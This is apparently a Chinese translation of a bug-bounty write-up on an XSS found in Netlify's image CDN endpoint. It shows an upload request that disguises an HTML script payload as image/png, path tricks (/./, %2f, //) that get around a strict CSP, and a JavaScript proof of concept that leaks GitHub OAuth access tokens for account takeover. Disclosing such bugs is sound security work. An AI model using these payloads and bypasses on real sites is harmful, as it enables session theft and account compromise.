前言
本文将讨论在 https://app.netlify.com 中使用的 Netlify 图像 CDN 上发现的 XSS,以及如何设法绕过 CSP(对于不太熟悉这个 CSP 的人来说,简单概括就是在任何情况下都不会执行脚本),扩展阅读可前往:
https://docs.netlify.com/image-cdn/overview/?source=post_page—–755a27065fd9
故事开始
众所周知,许多流行的静态站点生成器都具有图像 CDN 功能,这样可以优化网站上使用的图像。
如果希望通过尽可能减少加载图像所需的时间来加快网站加载速度,图像CDN非常有用。
以下是一些例子:
所有这些都是通过参数或路径将 url 作为输入并优化图像。
当你向此类端点发出请求时,很多东西都会在后台发生,如果你感兴趣,可以深入研究,有可能还会发现一些很酷的Bug:
/_next/image?url=
/_gatsby/image/:url
/.netlify/image?url=
/_ipx/w_200/:url
此外,你还会发现这些端点通常会进行一些检查,例如允许你向哪个 url 发出请求,这些都可以根据文档进行配置。
它们还会验证请求图像的 Content-Type,如 image/svg+xml,因为它可以允许 xss 和其它检查,如检查响应缓冲区,以确保在返回响应之前,请求的图像 url 确实是图像。
有些端点不对图像进行任何检查,甚至允许通过该端点提供 HTML 响应,因为请求的 URL 是在服务器端而不是客户端获取的,所以它也是 SSRF 的理想候选对象。
这是一个非常有趣的攻击面,在看到 Assetnote 和 Sam Curry 过去对此所做的一些出色研究后,白帽小哥决定也研究一下它们,到目前为止有了一些有趣的线索,当然,小哥更希望它们变为‘漏洞’。
背景介绍完毕,现在回到发现的问题上,在 Netlify 上构建的网站有这样一个图像优化端点:
/.netlify/images?url=
比如:https://app.netlify.com/.netlify/images?url=https://app.netlify.com/favicon.ico
还有更多的参数也可用于返回具有不同宽度或高度的图像,url 参数仅允许从白名单主机中获取文件,该主机可以通过 netlify.toml 文件进行配置。
[images]
remote_images = [
"https://my-images.com/.*",
"https://animals.more-images.com/[bcr]at/.*"]
默认情况下,url 参数中也接受相同的原始 url,可以在上面的配置中看到,使用了正则表达式.*
。 因此,即使是很小的错误也会产生一些副作用。
正如之前所说,一些提供商不会对请求的 url 是否返回有效图像进行任何检查,Netlify 就是这种情况。
所以你可以请求索引页面,请求的url的响应是在服务器端获取的(这里也可能发生一些奇妙的事情,如果配置允许请求任何 URL,可能会发生 SSRF)
对于 https://app.netlify.com ,以下 CDN 域位于白名单 https://d33wubrfki0l68.cloudfront.net 中。
Netlify使用此 CDN 来托管所有用户上传的内容,例如个人资料图片等。
那么如果我们可以在 CDN 域上找到任意文件上传,是不是就可以在 /.netlify/image?url 端点中使用它来实现 XSS ?
事实上有一些检查来确保用户不能上传除图像之外的任何其它内容,比如 SVG 就不被允许。
{"code":422,"message":"Logo must be an image"}
但是白帽小哥很快便找到了绕过方法,它允许将任何文件上传到 CDN 域。
将上传文件的 Content-Type: image/png mimetype 设置为白名单之一,就可以顺利绕过检查。
POST /access-control/bb-api/api/v1/accounts/5d77dc9150223b44a44df1f3/logo HTTP/2
Host: app.netlify.com
Cookie: Redacted
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------26024016321888288818835600843
Referer: https://app.netlify.com/teams/sudi/overview
Content-Length: 606
Origin: https://app.netlify.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
-----------------------------26024016321888288818835600843
Content-Disposition: form-data; name="file"; filename="xss.html"
Content-Type: image/png
<h1>shirley</h1><script>alert()</script>
-----------------------------26024016321888288818835600843--
{
"url": "https://d33wubrfki0l68.cloudfront.net/5d77dc9150223b44a44df1f3/37319cf93ea440b93ea5/xss.html"
}
正如下图所见,顺利收到成功响应,其 url 扩展名为 .html:
现在我们在 CDN 域中有了一个有效的 xss,那么应该可以在 /.netlify/images?url=
端点中轻易实现 xss 了吧?
答案是否定的!即使 Content-Type 是 text/html 并且响应正文包含 xss payload,它也不会触发,由于使用了 CSP,因此这一切都是徒劳的。
Content-Security-Policy: script-src 'none'
以上是该端点中使用的 CSP,正如之前所提到的那样,由于该CSP非常严格,几乎无法绕过。
白帽小哥非常沮丧,打算放弃。但第二天早上他突然想到,既然已经测试 Netlify 几天了,所以对他们的应用程序也有了一个很好的了解。
对于其它端点,它们虽然也有 CSP,但有些非常宽松,也更容易绕过,但/.netlify/images?url=
端点返回了一个非常严格的 CSP。
因此在后端,他们必须检查所请求 url 的路径并专门为其提供不同的 CSP。下面举一个 nginxconf 的例子来说明这种情况是如何发生的:
location /.netlify/images {
# Set Content Security Policy
add_header Content-Security-Policy "script-src 'none'";
假如负责服务 CSP 的服务和与获取资源相关的服务存在任何 URL 解析混淆怎么办?如果真是这样,能够为我们所利用吗?
如果提供一个与location指令不匹配的路径,那么 nginx 就无法捕获该路径,但后端服务会标准化该路径并将其视为/.netlify/images
,这样就会返回正确的响应,而不是严格的 CSP。
尝试修改路径:
GET /./.netlify/images?url=https://d33wubrfki0l68.cloudfront.net/5d77dc9150223b44a44df1f3/37319cf93ea440b93ea5/xss.html&fit=cover&h=200&w=200&x=x HTTP/2
Host: app.netlify.com
获得响应:
HTTP/2 200 OK
Content-Security-Policy: script-src 'nonce-ak9jJ87J3kkfSFdbapb1h7sEJ/RjVtSQ' 'strict-dynamic' 'unsafe-inline' 'unsafe-eval' 'self' https: http: 'none'; report-uri /.netlify/functions/__csp-violations
Content-Type: text/html
这个理论确实有效,我能够让它返回不同的 CSP,但具有相同的响应。
但是如果在浏览器中使用/./.netlify/images
这样的路径,它会在向 sevrer 发出请求之前将 url 标准化为/.netlify/images
。
于是白帽小哥尝试了一些 url 编码/.netlify%2fimages
:
顺利收获XSS。
使用一个简单的 PoC,可以从 Github Oauth 流程中泄露授权代码:
x = window.open("https://api.netlify.com/auth?provider=github&site_id=app.netlify.com&login=true&redirect=https://app.netlify.com/");
setInterval(function() {
console.log(x.location.href);
}, 500);
我们可以使用这个 url 和 access_token 来登录受害者的帐户,因为查询参数中的access_token基本上是受害者会话的主 Cookie。
Netlify尝试修复它,但很快被白帽小哥找到了另一种绕过方法,只需在路径前添加一个/即可绕过 CSP:
//.netlify/images
你学废了么?
以上内容由骨哥翻译并整理。